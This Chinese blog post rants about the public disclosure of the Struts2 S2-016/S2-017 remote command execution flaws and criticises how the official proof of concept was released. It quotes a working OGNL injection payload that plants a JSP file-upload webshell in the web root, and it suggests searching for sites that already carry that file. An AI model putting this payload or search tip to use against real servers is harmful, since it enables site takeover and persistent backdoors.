Struts2 S2-016/S2-017 吐槽

这篇日志发布时间已经超过一年,许多内容可能已经失效,请读者酌情参考。

昨天struts2的漏洞被公布,官方发了公告并给出了POC。

http://struts.apache.org/release/2.3.x/docs/security-bulletins.html

漏洞代号S2-016和S2-017,其中S2-106的描述中提到“allows remote command execution”,即远程命令执行。漏洞分析地址:http://www.inbreak.net/archives/507。空虚浪子心(腾讯微博)已经发了很详细的分析。

之所以写这个,其实纯粹是为了吐槽。

之前S2-012的RCE也没这么疯狂过,群里一帮人各种讨论,各种工具。

一时间,跪了的网站不计其数,影响面包括各大电商和银行网站。

在乌云上struts2漏洞直接刷屏,各种白帽子开始刷分。

作为一个0rank的实习白帽子我压力很大啊。

负责任的漏洞披露啊!!

同志们啊!!!

这么突然struts2的漏洞就满天飞了!!!

这绝壁是0day啊,官方放出的POC,简直是赤裸裸啊,根本没有利用门槛啊!!!

为什么要贴这种POC呢?有多少人在加班升级版本啊?!!

TP2原来也有个REC,某牛贴出来的时候用了phpinfo的例子,附带了一句:利用需要门槛。

这尼玛需要个蛋的门槛啊!!!

还有人兴致勃勃的讨论这getshell,我看到的居然都是先往根目录写一个上传脚本,再在本地构造一个上传form上传大马!!!

这是闹哪样啊,还有人在不停的求getshell工具!!

都能写上传脚本了,为什么不直接写马啊!!!

==========以上为不淡定的咆哮体============

http://zone.wooyun.org/content/5182

上面是乌云的getshell讨论。 代码urldecode是这样的:

?redirect:${#req=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),#p=(#req.getRealPath("/")+"css3.jsp").replaceAll("\\\\", "/"),new java.io.BufferedWriter(new java.io.FileWriter(#p)).append(#req.getParameter("c")).close()}&c=<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

来翻译一下就是: 把

<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

写到网站根目录下的css3.jsp。

css3.jsp里面的这段代码说的是把t的代码写到根目录的f文件下。

乃们有意思吗。。。。

google hack下css3.jsp,连上传的时间都省了。

看了这个讨论贴才明白,真心是利用起来有门槛,很多人只知道cat /etc/passwd或者先爆物理路径再wget。

学一点java会死啊。。。放出来上传的脚本又是作死呢?直接加快了网站沦陷的速度,这也不符合负责任的漏洞披露啊!!!

EXP用Swing写好了,其实所谓的exp不过是一次HTTP请求,一点难度都没有。 写个利用工具,也无非是锻炼下Swing,唉,Swing才是我的痛啊。。。

留言交流

没有评论
点击换图